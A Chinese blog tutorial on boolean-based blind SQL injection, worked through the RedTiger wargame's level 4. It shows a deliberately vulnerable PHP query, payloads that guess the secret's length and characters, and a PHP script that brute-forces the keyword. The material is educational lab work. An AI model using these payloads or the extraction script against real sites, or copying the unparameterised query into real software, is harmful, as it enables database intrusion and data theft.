深入浅出sql注入(4)——boolean based injection

有些时候,我们实在没办法通过回显来获得我们想要的信息,这时候就无能为力么?当然不。尽管页面无法通过union或报错之类的方式将我们想要的信息显示出来,但有时候,提交不同的参数,页面还是会有不同的响应。看看下面这段代码:

$id = $_GET['id];
$query = DB::fetch_all("SELECT * FROM articles WHERE id=$id");
echo 'Query returned ', count($query), ' rows.';

很明显上面这段代码有sql注入的问题,因为他直接把$_GET['id']代入了查询,但很不幸的是,它没有输出查询内容,而只是输出了查到的行数(实际中一般不会有这么蛋疼直接的情况,更多的可能是页面少了一部分,比如文章内容显示不出来之类的)。那么很容易想到,当我们提交一个真正存在的id时,这儿的输出应该是1,而提交一个不存在的id,或者说使拼接后的sql不成立时,输出将始终是0。

下面我们顺着上面提到的例子来看一个实例,redtiger的第四关(http://redtiger.labs.overthewire.org/level4.php,如果未通过前几关是无法直接打开这个地址的,所以请参考文章下面的截图,或者自己努力通过前几关,很简单)
打开http://redtiger.labs.overthewire.org/level4.php?id=1,可以看到这时候提示的是有一条记录存在的,说明id=1的记录是存在的,那我们下面就可以基于这个去做进一步的猜测。为什么要先强调1这条记录存在?别着急,往下看,后面会说。题目提示说要我们查询的是level4_secret的第一条数据的keyword字段的值,那要不就先来看看这个数据到底有多长吧。提交1 and (select length(keyword) from level4_secret)=1返回0,说明我们猜错了,然后将=1依次递增,直到我们提交的是1 and (select length(keyword) from level4_secret) =17返回了1,说明我们要查找的这条数据长度是17。

看到这儿大家应该都明白了,为什么我们刚开始一定要找一个已经存在的id,其实这主要是为了构造一个为真的情况。盲注(就是标题中的boolean based injection)就是利用查询结果为真和为假时的不同响应,通过不断猜测来找到自己想要的东西。

当知道了值的长度以后,我们就可以开始猜数据了。怎么猜呢?穷举自然是最简单的方法。在mysql中有一个函数substr(string, start, length) 可以截取string从第start位开始的length个字符串(与大多数语言或数据库不同的是,这个函数的start是从1开始的),我们来试试看用它猜测下第一个字符是什么。提交1 and (select substr(keyword,1,1) from level4_secret) ='A'返回0,看来不对。下一个字符,1 and (select substr(keyword,1,1) from level4_secret) ='B',居然返回的是1!看来运气不错,很快就猜到了第一个字符,可还有16个也要这么一个个手动猜也未免太累了些,那就来写个小程序帮我们穷举下吧。

<?php
//有漏洞的地址
$url = 'http://redtiger.labs.overthewire.org/level4.php?id=';
$param="1 and (select substr(keyword,%s,1)  from level4_secret) ='%s'";
 
//设置下cookie,只是因为不设置打不开上面这个页面,与盲注无关
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: level4login=dont_publish_solutions_GRR!"
  )
);
$context = stream_context_create($opts);
 
//只穷举字母数字
$chrs = array_merge(range('A', 'Z'), range('a', 'z'), range('0', '9'));
 
$key = ''; //用来保存盲注的结果
for($i = 1; $i<=17; $i++){ //因为上面我们已经知道了长度是17
	foreach($chrs as $j){
		$res = file_get_contents($url.urlencode(sprintf($param, $i, $j)), false, $context);
		$count = intval(substr($res, strpos($res, 'returned ')+9));
		if($count > 0){
			$flag = true;
			break;
		}
	}
	$key .= $j;
}
echo $key;

跑了一下就搞定了,答案是B****************(我这么善良的人怎么可能直接把答案放出来呢,老老实实动手试试看吧o(∩_∩)o

其实上面的程序有很多可以改进的地方。比如不一定要采用穷举,而是可以根据ascii码来进行二分查找,效率可以提高很多。此外就是这只考虑了字母数字的情况,但实际上可能有更复杂的问题,比如汉字,然后就又涉及到编码了。。。当然,这不在本文讨论范围内,只是稍微扩展下思维而已

可以考到盲注的效率与之前提到的几种想比实际上是效率低很多的,因为它需要很多个请求才能确定一个值,所以一般在有选择的情况下我们会优先选择其他方式(但实际上往往没那么多选择_(:3」∠)_

发表评论

电子邮件地址不会被公开。 必填项已用*标注